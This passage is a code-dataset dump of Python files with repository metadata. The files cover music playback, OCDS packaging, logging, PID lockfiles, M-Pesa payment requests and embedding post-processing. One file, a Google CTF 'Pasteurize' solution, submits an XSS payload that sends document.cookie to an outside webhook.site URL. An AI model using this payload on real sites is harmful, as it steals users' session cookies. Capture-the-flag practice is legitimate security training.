hexsha
stringlengths
40
40
size
int64
5
2.06M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
248
max_stars_repo_name
stringlengths
5
125
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
248
max_issues_repo_name
stringlengths
5
125
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
248
max_forks_repo_name
stringlengths
5
125
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
5
2.06M
avg_line_length
float64
1
1.02M
max_line_length
int64
3
1.03M
alphanum_fraction
float64
0
1
count_classes
int64
0
1.6M
score_classes
float64
0
1
count_generators
int64
0
651k
score_generators
float64
0
1
count_decorators
int64
0
990k
score_decorators
float64
0
1
count_async_functions
int64
0
235k
score_async_functions
float64
0
1
count_documentation
int64
0
1.04M
score_documentation
float64
0
1
b0c74b2e81942f6fdda3626e4e0173d3f260b19b
1,328
py
Python
client/query_modules/music_module.py
abhishekg785/hiro
950224d07797740b8840316bb412c1827eab46f0
[ "MIT" ]
7
2017-04-12T10:58:42.000Z
2021-10-03T18:07:29.000Z
client/query_modules/music_module.py
abhishekg785/hiro
950224d07797740b8840316bb412c1827eab46f0
[ "MIT" ]
null
null
null
client/query_modules/music_module.py
abhishekg785/hiro
950224d07797740b8840316bb412c1827eab46f0
[ "MIT" ]
5
2017-07-06T12:28:10.000Z
2020-01-07T19:45:25.000Z
# simply handles the reply for hello by the user import re import random import os import sys import webbrowser from random import randint # getting the watson api functions here PATH = os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), os.pardir)) sys.path.append(PATH) MUSIC_PATH = os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), os.pardir)) + '/music/' # print MUSIC_PATH from watson import WatsonAPI watson = WatsonAPI() # take necessary actions def handle(text, audio): print 'Handling music module' """ fetch the text and get the emotion of the user go to the corresponding music dir and fetch the music play the music dud :) """ tone = str(watson.tone_analyzer_api(text)) music_list = os.listdir(MUSIC_PATH + tone + '/') music_list_len = len(music_list) if music_list_len > 0: audio.speak('You seem to be ' + tone + '.I am playing a song for you!') random_index = randint(0, music_list_len - 1) print random_index webbrowser.open(MUSIC_PATH + tone + '/' + music_list[random_index]) else: audio.speak('No music found') # validate the module for the text from the source ( user, server, bot etc ) def isValid(text): return bool(re.search(r'\bmusic|melod|song|songs|tune\b', text, re.IGNORECASE))
30.181818
110
0.709337
0
0
0
0
0
0
0
0
483
0.363705
b0c77869671d10fbedbed340a7a7c9b4e8912459
2,993
py
Python
ocdsapi_outlet/utils.py
openprocurement/ocdsapi_outlet
e5aab856fbb833d34c4d56831cad7c09d7719a5e
[ "Apache-2.0" ]
null
null
null
ocdsapi_outlet/utils.py
openprocurement/ocdsapi_outlet
e5aab856fbb833d34c4d56831cad7c09d7719a5e
[ "Apache-2.0" ]
6
2019-12-26T16:43:14.000Z
2022-03-21T22:16:25.000Z
ocdsapi_outlet/utils.py
openprocurement/ocdsapi_outlet
e5aab856fbb833d34c4d56831cad7c09d7719a5e
[ "Apache-2.0" ]
1
2018-07-27T16:19:27.000Z
2018-07-27T16:19:27.000Z
""" utils.py - helper functions """ import logging import functools import operator from repoze.lru import lru_cache from gevent import spawn from gevent.subprocess import Popen, PIPE try: import boto3 except ImportError: boto3 = None def dump(app, logger): """ Run dump script as separate process """ def read_stream(stream): try: while not stream.closed: line = stream.readline() if not line: break line = line.rstrip().decode('utf-8') logger.info(line.split(' - ')[-1]) except: pass args = prepare_pack_command(app.config) logger.warn("Going to start dump with args {}".format(args)) popen = Popen(args, stdout=PIPE, stderr=PIPE) spawn(read_stream, popen.stdout) spawn(read_stream, popen.stderr) popen.wait() return_code = popen.returncode logger.info("Dumper ended work with code {}".format(return_code)) def setup_logger( logger, handler, level, formatter, filename): if filename: handler = functools.partial(handler, filename) handler = handler() if formatter: handler.setFormatter(logging.Formatter(formatter)) logger.addHandler(handler) logger.setLevel(getattr(logging, level.upper())) return logger def find_package_date(releases): """ Find max date inside package """ return max( releases, key=operator.itemgetter('date') ).get('date') def prepare_package(date, metainfo=None): """ Prepare metainfo for package """ base = { 'publishedDate': date, 'releases': [], 'publisher': { 'name': '', 'scheme': '', 'uri': '' }, } if metainfo: base.update(metainfo) return base @lru_cache(maxsize=1) def connect_bucket(cfg): """ TODO: do we really need this? """ return ( cfg.bucket, boto3.client('s3') ) def prepare_pack_command(cfg): base_bin = cfg.get('bin_path', 'ocds-pack') base_args = [ base_bin, '--package-meta', cfg.get('dump', {}).get('metainfo_file', 'meta.yml') ] for key in ('clean_up', 'with_zip', 'count'): if cfg.get('dump', {}).get(key): base_args.extend([ '--{}'.format(key.replace('_', '-')), str(cfg['dump'][key]) ]) db_args = [ item for arg, value in cfg.get('db').items() for item in '--{} {}'.format(arg.replace('_', '-'), value).split() ] backend = list(cfg.get('backend', {'fs': ''}).keys())[0] backend_args = [backend] backend_args.extend([ item for arg, value in cfg['backend'][backend].items() for item in '--{} {}'.format(arg.replace('_', '-'), value).split() ]) for args in db_args, backend_args: base_args.extend(args) return base_args
25.364407
74
0.559973
0
0
0
0
158
0.05279
0
0
527
0.176078
b0c81b1e5cf0bc462adf9bdbb74fbefc166b797e
264
py
Python
apps/logger.py
dabble-of-devops-bioanalyze/single-cell-cloud-lab
324bf936297b6a5bd23d4f7e1cf3cbd6b31ba495
[ "Apache-2.0" ]
null
null
null
apps/logger.py
dabble-of-devops-bioanalyze/single-cell-cloud-lab
324bf936297b6a5bd23d4f7e1cf3cbd6b31ba495
[ "Apache-2.0" ]
null
null
null
apps/logger.py
dabble-of-devops-bioanalyze/single-cell-cloud-lab
324bf936297b6a5bd23d4f7e1cf3cbd6b31ba495
[ "Apache-2.0" ]
null
null
null
import colorlog handler = colorlog.StreamHandler() handler.setFormatter( colorlog.ColoredFormatter( "%(log_color)s%(levelname)s:%(name)s:%(filename)s:%(funcName)s: %(message)s" ) ) logger = colorlog.getLogger(__name__) logger.addHandler(handler)
22
84
0.719697
0
0
0
0
0
0
0
0
76
0.287879
b0c97b770b216db5c6e4a8a50cbc39cc9f11e3a2
1,467
py
Python
venv/lib/python2.7/site-packages/daemon/pidfile.py
mutaihillary/mycalculator
55685dd7c968861f18ae0701129f5af2bc682d67
[ "MIT" ]
null
null
null
venv/lib/python2.7/site-packages/daemon/pidfile.py
mutaihillary/mycalculator
55685dd7c968861f18ae0701129f5af2bc682d67
[ "MIT" ]
7
2021-02-08T20:22:15.000Z
2022-03-11T23:19:41.000Z
venv/lib/python2.7/site-packages/daemon/pidfile.py
mutaihillary/mycalculator
55685dd7c968861f18ae0701129f5af2bc682d67
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # daemon/pidfile.py # Part of python-daemon, an implementation of PEP 3143. # # Copyright © 2008–2010 Ben Finney <ben+python@benfinney.id.au> # # This is free software: you may copy, modify, and/or distribute this work # under the terms of the Python Software Foundation License, version 2 or # later as published by the Python Software Foundation. # No warranty expressed or implied. See the file LICENSE.PSF-2 for details. """ Lockfile behaviour implemented via Unix PID files. """ from __future__ import absolute_import from lockfile.pidlockfile import PIDLockFile class TimeoutPIDLockFile(PIDLockFile, object): """ Lockfile with default timeout, implemented as a Unix PID file. This uses the ``PIDLockFile`` implementation, with the following changes: * The `acquire_timeout` parameter to the initialiser will be used as the default `timeout` parameter for the `acquire` method. """ def __init__(self, path, acquire_timeout=None, *args, **kwargs): """ Set up the parameters of a TimeoutPIDLockFile. """ self.acquire_timeout = acquire_timeout super(TimeoutPIDLockFile, self).__init__(path, *args, **kwargs) def acquire(self, timeout=None, *args, **kwargs): """ Acquire the lock. """ if timeout is None: timeout = self.acquire_timeout super(TimeoutPIDLockFile, self).acquire(timeout, *args, **kwargs)
34.116279
75
0.691888
863
0.587075
0
0
0
0
0
0
909
0.618367
b0c9cd685e3c553d9d38e5a73ed8bdcbc7f01131
11,258
py
Python
zazi/apps/mpesa/utils/transaction.py
felixcheruiyot/zazi-core-banking
0a2dac42235adcac3cf8c114961e407f54844223
[ "Apache-2.0" ]
null
null
null
zazi/apps/mpesa/utils/transaction.py
felixcheruiyot/zazi-core-banking
0a2dac42235adcac3cf8c114961e407f54844223
[ "Apache-2.0" ]
1
2021-08-20T06:41:57.000Z
2021-08-20T06:41:57.000Z
zazi/apps/mpesa/utils/transaction.py
felixcheruiyot/zazi-core-banking
0a2dac42235adcac3cf8c114961e407f54844223
[ "Apache-2.0" ]
null
null
null
import logging from django.db import transaction as db_transaction from django.conf import settings from django.utils import timezone from django.urls import reverse_lazy from zazi.core.utils import get_absolute_url, get_encrypted_text from .. import api from ..models import ( MpesaAccount, MpesaAccountBalance, MpesaAccountRegisteredURL, MpesaAPIAccount, MpesaTransaction, generate_id) from ..enums import IdentifierType, CommandID, ResultCode, MpesaTransactionStatus logger = logging.getLogger(__name__) def get_mpesa_webhook_url(url_name, kwargs=None, endpoint=None): logger.debug(f'get_mpesa_webhook_url({url_name}, kwargs={kwargs}, endpoint={endpoint})') return get_absolute_url(url_name, kwargs=kwargs, endpoint=settings.MPESA_PROXY_URL) def request_b2b_transaction( sender_short_code, receiver_short_code, amount, user, mpesa_receipt_number=None, account_reference=None, transaction_category=None, command_id=CommandID.B2B_BUSINESS_TO_BUSINESS_TRANSFER, remarks=None, ): with db_transaction.atomic(): sender_account = MpesaAPIAccount.objects.get( organization__owner=user, identifier=sender_short_code, identifier_type=IdentifierType.BUSINESS_PAYBILL) recipient_account = MpesaAPIAccount.objects.get( organization__owner=user, identifier=receiver_short_code, identifier_type=IdentifierType.BUSINESS_PAYBILL) return MpesaTransaction.objects.create( transaction_id=generate_id(), command_id=command_id, mpesa_receipt_number=mpesa_receipt_number, sender_account=sender_account, recipient_account=recipient_account, transaction_time=timezone.now(), transaction_amount=amount) def request_b2c_transaction( organization_id, sender_short_code, receiver_phone_number, amount, user, transaction_id=None, account_reference=None, transaction_category=None, command_id=CommandID.B2C_BUSINESS_PAYMENT, remarks=None, ): logger.info("request_b2c_transaction %s %s %s %s" % ( organization_id, sender_short_code, receiver_phone_number, amount )) with db_transaction.atomic(): sender_account = MpesaAccount.objects.get( organization__owner=user, organization__organization_id=organization_id, identifier=sender_short_code, identifier_type=IdentifierType.BUSINESS_PAYBILL) recipient_account = MpesaAccount.objects.get( identifier=receiver_phone_number, identifier_type=IdentifierType.PERSONAL_MPESA) transaction_id = transaction_id or generate_id() mpesa_api_account = sender_account.api_account queue_timeout_url = get_mpesa_webhook_url('mpesa:mpesa_b2c_queue_timeout_url', kwargs={ "organization_id": organization_id, "reference": transaction_id }) result_url = get_mpesa_webhook_url('mpesa:mpesa_b2c_result_url', kwargs={ "organization_id": organization_id, "reference": transaction_id }) security_credential = get_encrypted_text( mpesa_api_account.security_credential, function_name="zazi-certificate-microservice-dev-encrypt_text") if not security_credential: raise Exception("Error accessing securty credentials for M-Pesa account %s" % mpesa_api_account.account_id) else: logger.info("Security credential received for %s" % sender_account.account_id) request_payload = api.b2c_transact( env="production" if sender_account.api_account.in_production else "sandbox", app_key=mpesa_api_account.consumer_key, app_secret=mpesa_api_account.consumer_secret, initiator_name=mpesa_api_account.username, security_credential=security_credential, command_id=command_id, party_a=sender_account.identifier, party_b=recipient_account.identifier, amount=amount, remarks=remarks, account_reference=account_reference, queue_timeout_url=queue_timeout_url, result_url=result_url) transaction = MpesaTransaction.objects\ .create( command_id=command_id, transaction_category=transaction_category, transaction_id=transaction_id, sender_account=sender_account, result_code=ResultCode.success, status=MpesaTransactionStatus.PENDING, initiated_at=timezone.now(), recipient_account=recipient_account) if request_payload: logger.info(request_payload) transaction.request_payload = { "conversation_id": request_payload["ConversationID"], "originator_conversation_id": request_payload["OriginatorConversationID"], "response_code": ResultCode(int(request_payload["ResponseCode"])), "response_description": request_payload["ResponseDescription"] } transaction.save() else: transaction.request_payload = request_payload transaction.save() return transaction def request_mpesa_express_stk_push( organization_id, short_code, phone_number, amount, transaction_category=None, reference_code=None, description=None, ): with db_transaction.atomic(): business_account = MpesaAccount.objects.get( organization__organization_id=organization_id, identifier=short_code, identifier_type=IdentifierType.BUSINESS_PAYBILL) personal_account = MpesaAccount.objects.get( identifier=phone_number, identifier_type=IdentifierType.PERSONAL_MPESA) lipa_na_mpesa_account = business_account.lipa_na_mpesa_accounts.first() reference = generate_id() request_payload = api.mpesa_express_stk_push( env="production" if business_account.api_account.in_production else "sandbox", app_key=business_account.api_account.consumer_key, app_secret=business_account.api_account.consumer_secret, business_shortcode=short_code, passcode=lipa_na_mpesa_account.pass_code, amount=amount, callback_url=get_mpesa_webhook_url('mpesa:mpesa_c2b_stk_push_callback_url', kwargs={ "organization_id": organization_id, "reference": reference }), reference_code=reference_code or reference, phone_number=phone_number, description=description) transaction = MpesaTransaction.objects.create( transaction_id=reference, command_id=CommandID.C2B_PAYBILL, transaction_category=transaction_category, sender_account=personal_account, recipient_account=business_account, status=MpesaTransactionStatus.PENDING, initiated_at=timezone.now(), transaction_amount=amount, request_payload=request_payload) if request_payload.get("errorCode") is None: transaction.request_payload = { "merchant_request_id": request_payload["MerchantRequestID"], "checkout_request_id": request_payload["CheckoutRequestID"], "response_code": ResultCode(int(request_payload["ResponseCode"])), "response_description": request_payload["ResponseDescription"], "customer_message": request_payload["CustomerMessage"] } transaction.save() else: transaction.request_payload = request_payload transaction.save() logger.debug(request_payload) return transaction def request_transaction_reverse( transaction_id, mpesa_user, remarks=None, occassion=None ): with db_transaction.atomic(): organization_id = mpesa_user.organization.organization_id transaction = MpesaTransaction.objects.get( transaction_id=transaction_id) response = api.transaction_reverse( env="production" if transaction.sender_account.in_production else "sandbox", app_key=None, app_secret=None, receiver_party=None, initiator=None, security_credential=None, command_id=None, transaction_id=None, receiver_identifier_type=None, amount=None, result_url=get_mpesa_webhook_url('mpesa_balance_check_result_url', kwargs={ "organization_id": organization_id, "reference": transaction.transaction_id }), queue_timeout_url=get_mpesa_webhook_url('mpesa_balance_check_queue_timeout_url', kwargs={ "organization_id": organization_id, "reference": transaction.transaction_id }), remarks=remarks, occassion=occassion) transaction_reference = generate_id() return MpesaTransaction.objects.create( command_id=CommandID.UTILITY_TRANSACTION_REVERSAL, transaction_id=transaction_reference, initiator=mpesa_user, status=MpesaTransactionStatus.PENDING, initiated_at=timezone.now(), request_payload=response) def request_check_transaction_status( transaction_id, mpesa_user, remarks=None ): with db_transaction.atomic(): organization_id = mpesa_user.organization.organization_id transaction = MpesaTransaction.objects.get( transaction_id=transaction_id) response = api.check_transaction_status( env="production" if transaction.sender_account.in_production else "sandbox", app_key=transaction.api_account.consumer_key, app_secret=transaction.api_account.consumer_secret, identifier_type=transaction.sender_account.identifier_type, initiator=transaction.initiator.username, party_a=transaction.sender_account.identifier, remarks=remarks, result_url=get_mpesa_webhook_url('mpesa_check_status_result_url', kwargs={ "organization_id": organization_id, "reference": transaction.mpesa_receipt_number }), queue_timeout_url=get_mpesa_webhook_url('mpesa_check_status_queue_timeout_url', kwargs={ "organization_id": organization_id, "reference": transaction.mpesa_receipt_number })) transaction_reference = generate_id() return MpesaTransaction.objects.create( command_id=CommandID.UTILITY_TRANSACTION_STATUS_QUERY, transaction_id=transaction_reference, initiator=mpesa_user, status=MpesaTransactionStatus.PENDING, initiated_at=timezone.now(), request_payload=response)
38.162712
119
0.669213
0
0
0
0
0
0
0
0
1,134
0.100728
b0cb0c2e438281324253c5fc9aef08d9586a6478
297
py
Python
gCTF/gctf20/Pasteurize/asd.py
shagunattri/ctfwriteups
02654f9feeef43aa28c321a7bd9c13a39be8f137
[ "MIT" ]
1
2020-06-11T18:04:22.000Z
2020-06-11T18:04:22.000Z
gCTF/gctf20/Pasteurize/asd.py
shagunattri/MemeBoard
02654f9feeef43aa28c321a7bd9c13a39be8f137
[ "MIT" ]
1
2021-03-22T09:51:13.000Z
2021-03-22T09:51:13.000Z
gCTF/gctf20/Pasteurize/asd.py
shagunattri/MemeBoard
02654f9feeef43aa28c321a7bd9c13a39be8f137
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 #JOHN Hammond method result import requests url = "https://pasteurize.web.ctfcompetition.com/" req = requests.post(url,data = { "content[]": ";new Image().src='https://webhook.site/8db05257-6ad1-44a9-979a-574c1caca5d6?asdf='+document.cookie//" }) print(req.text)
18.5625
119
0.703704
0
0
0
0
0
0
0
0
206
0.693603
b0cb84a469618ec441c72fc62b1918615cc6f4ec
7,437
py
Python
src/test/py/ltprg/results/plot.py
forkunited/ltprg
4e40d3571d229023df0f845c68643024e04bc202
[ "MIT" ]
11
2017-08-03T15:42:19.000Z
2021-02-04T12:43:35.000Z
src/test/py/ltprg/results/plot.py
forkunited/ltprg
4e40d3571d229023df0f845c68643024e04bc202
[ "MIT" ]
null
null
null
src/test/py/ltprg/results/plot.py
forkunited/ltprg
4e40d3571d229023df0f845c68643024e04bc202
[ "MIT" ]
1
2021-02-04T12:43:37.000Z
2021-02-04T12:43:37.000Z
#!/usr/bin/python # # Usage: plot.py [input_file] [xlabel] [ylabel] [x] [y] [where] [where_values] [groupby] # # input_file: Input tsv file where the first row contains column names # xlabel: Label for plot horizontal axis # ylabel: Label for plot vertical axis # x: Name of column to plot on horizontal axis # y: Name of column to plot on vertical axis # where: Comma-separated list of columns for which to constrain the values contained in the plot # where_values: Comma-separated list of values by which to constrain the columns given in [where] # groupby: Comma-separated list of columns on which to group the data into separate curves # # The script will generate a 2-dimensional plot containing a set of curves. Values are averaged # across rows of data that fit the constraints given in [where] and [where_values]. The averages # are computed for separate curves determined by the [groupby] # import csv import sys import numpy as np from scipy import stats from random import randint input_file = sys.argv[1] xlabel = sys.argv[2] ylabel = sys.argv[3] x = sys.argv[4] y = sys.argv[5] where = None where_values = None if len(sys.argv) > 6 and sys.argv[6] != 'None' and sys.argv[7] != 'None': where = sys.argv[6].split(",") where_values = sys.argv[7].split(",") groupby = None if len(sys.argv) > 8: groupby = sys.argv[8].split(",") make_table = False if len(sys.argv) > 9: make_table = (sys.argv[9] == "True") def read_tsv_file(file_path): f = open(file_path, 'rt') rows = [] try: reader = csv.DictReader(f, delimiter='\t') for row in reader: rows.append(row) finally: f.close() return rows def row_match(row, where, where_values): if where is None: return True for i in range(len(where)): if row[where[i]] != where_values[i]: return False return True # Map [groupby],x -> y value list filtered by 'where' def aggregate(rows, x, y, where, where_values, groupby): agg = dict() for row in rows: if not row_match(row, where, where_values): continue cur_agg = agg if groupby is not None: for key in groupby: if row[key] not in cur_agg: cur_agg[row[key]] = dict() cur_agg = cur_agg[row[key]] x_value = row[x] y_value = row[y] if x_value not in cur_agg: cur_agg[x_value] = [] cur_agg[x_value].append(float(y_value)) return agg def compute_statistics_helper(agg, agg_depth, keys, statistics, overall_statistics): if agg_depth == 0: cur_stats = statistics for key in keys: if key not in cur_stats: cur_stats[key] = dict() cur_stats = cur_stats[key] cur_stats["mu"] = np.mean(agg) cur_stats["stderr"] = stats.sem(agg) cur_stats["max"] = max(agg) overall_statistics["y_max"] = max(overall_statistics["y_max"], cur_stats["mu"]) if len(keys[len(keys) - 1]) != 0: try: overall_statistics["x_max"] = max(overall_statistics["x_max"], float(keys[len(keys) - 1])) except ValueError: pass else: for key in agg: keys.append(key) compute_statistics_helper(agg[key], agg_depth - 1, keys, statistics, overall_statistics) keys.pop() return statistics, overall_statistics def compute_statistics(agg, groupby): overall_statistics = dict() overall_statistics["y_max"] = 1.0 overall_statistics["x_max"] = 0 statistics = dict() depth = 1 if groupby is not None: depth = len(groupby) + 1 return compute_statistics_helper(agg, depth, [], statistics, overall_statistics) def make_latex_plot_helper(statistics, groupby, depth, keys, s): if depth == 0: plot_str = "\\addplot[color=black!" + str(randint(30,100)) + ",dash pattern=on " + str(randint(1,3)) + "pt off " + str(randint(1,2)) + "pt,error bars/.cd, y dir=both,y explicit] coordinates {\n" x_values = [float(x_value) for x_value in statistics.keys()] x_values.sort() for x_value in x_values: x_str = str(int(x_value)) plot_str = plot_str + "(" + x_str + "," + str(statistics[x_str]["mu"]) + ")+-(0.0," + str(statistics[x_str]["stderr"]) + ")\n" plot_str = plot_str + "};\n" plot_str = plot_str + "\\addlegendentry{\\tiny{" if groupby is not None: for i in range(len(groupby)): plot_str = plot_str + groupby[i] + "=" + keys[i] + " " plot_str = plot_str.strip() plot_str = plot_str + "}};\n\n" return s + plot_str else: for key in statistics: keys.append(key) s = make_latex_plot_helper(statistics[key], groupby, depth - 1, keys, s) keys.pop() return s def make_latex_plot(statistics, overall_statistics, xlabel, ylabel, groupby): s = ("\\begin{figure*}[ht]\n" "\\begin{center}\n" "\\begin{tikzpicture}\n" "\\begin{axis}[%\n" "width=.5\\textwidth,height=.5\\textwidth,\n" "anchor=origin, % Shift the axis so its origin is at (0,0)\n" "ymin=0,ymax=" + str(overall_statistics["y_max"]) + ",xmin=0,xmax=" + str(overall_statistics["x_max"]) + ",%\n" "xlabel=" + xlabel + ",\n" "ylabel=" + ylabel + ",\n" "legend pos=outer north east\n" "]\n" ) depth = 0 if groupby is not None: depth = len(groupby) s = s + make_latex_plot_helper(statistics, groupby, depth, [], "") s = s + ("\\end{axis}\n" "\\end{tikzpicture}\n" "\\end{center}\n" "\\end{figure*}\n" ) return s def make_aggregate_table_helper(statistics, groupby, depth, keys, s): if depth == 0: try: x_values = [float(x_value) if len(x_value) != 0 else "" for x_value in statistics.keys()] except ValueError: x_values = [x_value for x_value in statistics.keys()] x_values.sort() for x_value in x_values: x_str = str(x_value) for key in keys: s += key + "\t" if x_str not in statistics: x_str = str(int(float(x_str))) # FIXME Stupid hack for now s += x_str + "\t" + str(statistics[x_str]["mu"]) + "\t" + str(statistics[x_str]["stderr"]) + "\t" + str(statistics[x_str]["max"]) + "\n" return s else: for key in statistics: keys.append(key) s = make_aggregate_table_helper(statistics[key], groupby, depth - 1, keys, s) keys.pop() return s def make_aggregate_table(statistics, overall_statistics, xlabel, ylabel, groupby): s = "\t".join(groupby) + "\t" + xlabel + "\t" + ylabel + "\t" + ylabel + " (stderr)" + "\t" + ylabel + " (max)\n" depth = 0 if groupby is not None: depth = len(groupby) s = s + make_aggregate_table_helper(statistics, groupby, depth, [], "") return s rows = read_tsv_file(input_file) agg = aggregate(rows, x, y, where, where_values, groupby) statistics, overall_statistics = compute_statistics(agg, groupby) if make_table: print(make_aggregate_table(statistics, overall_statistics, xlabel, ylabel, groupby)) else: print(make_latex_plot(statistics, overall_statistics, xlabel, ylabel, groupby))
33.804545
202
0.600376
0
0
0
0
0
0
0
0
1,715
0.230604
b0cb8d6fd396de4dcda21996632c248c8e21dab4
320
py
Python
version.py
ERICMIAO0817/knlp
56052e49be87d604839d8f81a7295c73a5ac62cf
[ "MIT" ]
19
2021-03-17T02:15:18.000Z
2021-12-14T04:46:21.000Z
version.py
ERICMIAO0817/knlp
56052e49be87d604839d8f81a7295c73a5ac62cf
[ "MIT" ]
4
2022-03-08T16:28:18.000Z
2022-03-28T15:11:11.000Z
version.py
ERICMIAO0817/knlp
56052e49be87d604839d8f81a7295c73a5ac62cf
[ "MIT" ]
7
2021-03-17T02:15:23.000Z
2022-03-17T15:41:04.000Z
#!/usr/bin/python # -*- coding:UTF-8 -*- # -----------------------------------------------------------------------# # File Name: version.py # Author: Junyi Li # Mail: 4ljy@163.com # Created Time: 2021-01-27 # Description: # -----------------------------------------------------------------------# __version__ = "0.2.2"
26.666667
74
0.34375
0
0
0
0
0
0
0
0
295
0.921875
b0ccf531cfab6c9c4a503a8b46e7c6adcacdc203
1,336
py
Python
tests/base.py
abdghani995/docker-falcon
6e552a23c3dcc7210083cbe049a7ffbd13a888b1
[ "MIT" ]
19
2019-12-14T20:21:03.000Z
2021-08-11T07:38:42.000Z
tests/base.py
abdghani995/docker-falcon
6e552a23c3dcc7210083cbe049a7ffbd13a888b1
[ "MIT" ]
2
2018-05-14T23:05:11.000Z
2021-11-21T19:32:08.000Z
tests/base.py
vvitsenets/VICTORIA
843ad6cc1ecec8b0fb424263de37691454cd2b4e
[ "MIT" ]
4
2019-12-15T05:59:57.000Z
2022-03-05T08:03:04.000Z
import unittest import falcon import falcon.testing import app.util.json as json from app import create_app class TestBase(unittest.TestCase): def setUp(self): self.app = create_app() self.srmock = falcon.testing.StartResponseMock() def simulate_request(self, path, *args, **kwargs): env = falcon.testing.create_environ(path, *args, **kwargs) resp = self.app(env, self.srmock) if len(resp) >= 1: return json.loads(resp[0].decode("utf-8")) return resp def simulate_get(self, *args, **kwargs): kwargs["method"] = "GET" return self.simulate_request(*args, **kwargs) def simulate_post(self, *args, **kwargs): kwargs["method"] = "POST" return self.simulate_request(*args, **kwargs) def simulate_put(self, *args, **kwargs): kwargs["method"] = "PUT" return self.simulate_request(*args, **kwargs) def simulate_delete(self, *args, **kwargs): kwargs["method"] = "DELETE" return self.simulate_request(*args, **kwargs) def simulate_patch(self, *args, **kwargs): kwargs["method"] = "PATCH" return self.simulate_request(*args, **kwargs) def simulate_head(self, *args, **kwargs): kwargs["method"] = "HEAD" return self.simulate_request(*args, **kwargs)
29.688889
66
0.627246
1,223
0.915419
0
0
0
0
0
0
92
0.068862
b0cef7efc960a0a20a9e808c895f9ff5b72321b6
1,903
py
Python
src/zojax/portlet/browser/portlets.py
Zojax/zojax.portlet
f442ae53c400cd39e0c593138b83eeea0d13787e
[ "ZPL-2.1" ]
null
null
null
src/zojax/portlet/browser/portlets.py
Zojax/zojax.portlet
f442ae53c400cd39e0c593138b83eeea0d13787e
[ "ZPL-2.1" ]
null
null
null
src/zojax/portlet/browser/portlets.py
Zojax/zojax.portlet
f442ae53c400cd39e0c593138b83eeea0d13787e
[ "ZPL-2.1" ]
null
null
null
############################################################################## # # Copyright (c) 2009 Zope Foundation and Contributors. # All Rights Reserved. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED # WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS # FOR A PARTICULAR PURPOSE. # ############################################################################## """ $Id$ """ from zope import interface from zope.location import LocationProxy from zope.publisher.interfaces import NotFound from zope.publisher.interfaces import IPublishTraverse from zope.security.proxy import removeSecurityProxy from zope.component import getAdapters, queryMultiAdapter from zojax.statusmessage.interfaces import IStatusMessage from zojax.portlet.interfaces import IPortletManager, IPortletsExtension from zojax.portlet.browser.interfaces import IPortletManagerPublicMarker class Portlets(object): interface.implements(IPublishTraverse) __name__ = 'portlets' __parent__ = None def __init__(self, context, request): self.__parent__ = self.context = context self.request = request def publishTraverse(self, request, name): context = self.context manager = queryMultiAdapter( (context, request, None), IPortletManager, name) if manager is not None: manager.update() interface.alsoProvides(manager, IPortletManagerPublicMarker) return LocationProxy(manager, self.context, name) raise NotFound(self.context, self.__name__, request) def __call__(self): raise NotFound(self.context, self.__name__, request)
33.982143
78
0.683132
765
0.401997
0
0
0
0
0
0
646
0.339464
b0d04d598a11b7e88dbf9f7dcbe48c016cf93d7f
2,280
py
Python
recsystem/embedder/post_embed.py
DOREMUS-ANR/recommender
027e0dcb3639f03204c67777e2e10aac8505a70a
[ "MIT" ]
2
2017-03-28T15:48:18.000Z
2018-09-06T08:50:34.000Z
recsystem/embedder/post_embed.py
DOREMUS-ANR/recommender
027e0dcb3639f03204c67777e2e10aac8505a70a
[ "MIT" ]
null
null
null
recsystem/embedder/post_embed.py
DOREMUS-ANR/recommender
027e0dcb3639f03204c67777e2e10aac8505a70a
[ "MIT" ]
null
null
null
import os import codecs from shutil import copyfile from gensim.models import KeyedVectors from SPARQLWrapper import SPARQLWrapper, JSON def ns_filter(embeddings_file, namespaces): with open(embeddings_file) as file: raw_embs = [l.strip() for l in file] def belong_to_category(x): for prefix in namespaces: if x.startswith(prefix): return True return False n = list(filter(belong_to_category, raw_embs)) head = '%d %s' % (len(n), raw_embs[0].split(' ')[1]) embeddings_temp = embeddings_file + "_temp" with open(embeddings_temp, 'w') as f: f.write("%s" % head) for item in n: f.write("\n%s" % item) return embeddings_temp def get_label(uri, endpoint): query = "select sql:BEST_LANGMATCH(?o, 'en;q=0.9, en-gb;q=0.8, *;q=0.1', 'en') as ?label" \ " where { <%s> skos:prefLabel ?o }" % uri sparql = SPARQLWrapper(endpoint) sparql.setQuery(query) sparql.setReturnFormat(JSON) results = sparql.query().convert() r = results["results"]["bindings"][0] if r is None or 'label' not in r: print(uri) return None return r["label"]["value"] def main(args): what = args.feature if what is None: raise RuntimeError('You must specify the feature using -f or --feature') chosen = args.featureList[what] namespaces = chosen['namespaces'] if 'namespaces' in chosen else False embeddings_file = '%s/%s.emb' % (args.embDir, what) embeddings_run = embeddings_file copyfile(embeddings_file, embeddings_file + '_raw') if namespaces: embeddings_run = ns_filter(embeddings_file, namespaces) # L2 normalisation # https://www.quora.com/Should-I-do-normalization-to-word-embeddings-from-word2vec-if-I-want-to-do-semantic-tasks wv_from_text = KeyedVectors.load_word2vec_format(embeddings_run) wv_from_text.init_sims(replace=True) labels = ['%s %s' % (uri, get_label(uri, args.endpoint)) for uri in wv_from_text.index2entity] with 